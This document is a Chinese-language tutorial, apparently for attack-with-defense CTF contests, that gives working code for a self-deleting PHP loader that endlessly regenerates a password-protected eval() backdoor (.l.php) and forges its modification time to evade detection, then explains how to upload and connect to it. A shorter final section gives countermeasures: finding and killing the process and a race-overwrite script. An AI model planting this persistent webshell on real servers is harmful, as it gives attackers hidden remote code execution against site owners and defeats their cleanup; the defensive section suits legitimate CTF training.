快速开始
shell.php:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.l.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST["a"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .l.php');
usleep(1000);
}
?>

- url:
上传路径?pass=pass - 密码:
pass - 参数:
a
密码可以自行修改
原理解释
设置服务器与客户端断开后保持脚本运行,true 表示仍保持脚本运行:
ignore_user_abort(true);
设置脚本最大执行时间,0 表示脚本无运行时间限制:
set_time_limit(0);
将源文件删除,隐藏自身:
unlink(__FILE__);
源文件删除不影响脚本运行,因为此时脚本已经被解释成字节码加载进内存中执行。
真正的木马文件名及内容:
$file = '.l.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST["a"]);} ?>';
连接密码为 pass,防止其他攻击者利用我们的木马,参数为 a。
循环覆写木马文件 .l.php 的内容,木马被删除可重新生成:
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .l.php');
usleep(1000);
}
每隔 1000ms 覆写一次,并设置文件上次修改时间,防止防守方使用下面命令查找 10min 内修改过的 .php 文件:
find *.php -mmin -10
使用方法
上传 shell.php 后先访问一下,让服务器执行这个文件,执行后这个文件就会将自身删除并生成真正的木马 .l.php,用相应工具连接即可。
- url:
上传路径?pass=pass - 密码:
pass - 参数:
a
反制方法
终止 shell.php 的进程
使用下面命令查看所有进程:
ps -ef

TIME 字段指累计占用 CPU 总时长,PID 为 345 的进程占用 CPU 时间很长。
也可以使用下面的命令实时动态监控进程:
top

发现 345 进程 CPU 占用率高达 22.7%,大概率是在跑某个循环。
直接终止这个进程就可以将木马删除了:
kill -9 345

竞争覆写
AWD 中我们往往没有终止进程的权限,但是可以写个脚本用比 shell.php 进程更高的频率覆写木马文件,将其修改为无害文件。
defend.php:
<?php
set_time_limit(0);
$file = '.l.php';
$code = 'hello';
while (1){
file_put_contents($file,$code);
usleep(500);
}
?>

执行 defend.php 后 .l.php 的内容已经变成无害内容,反制成功。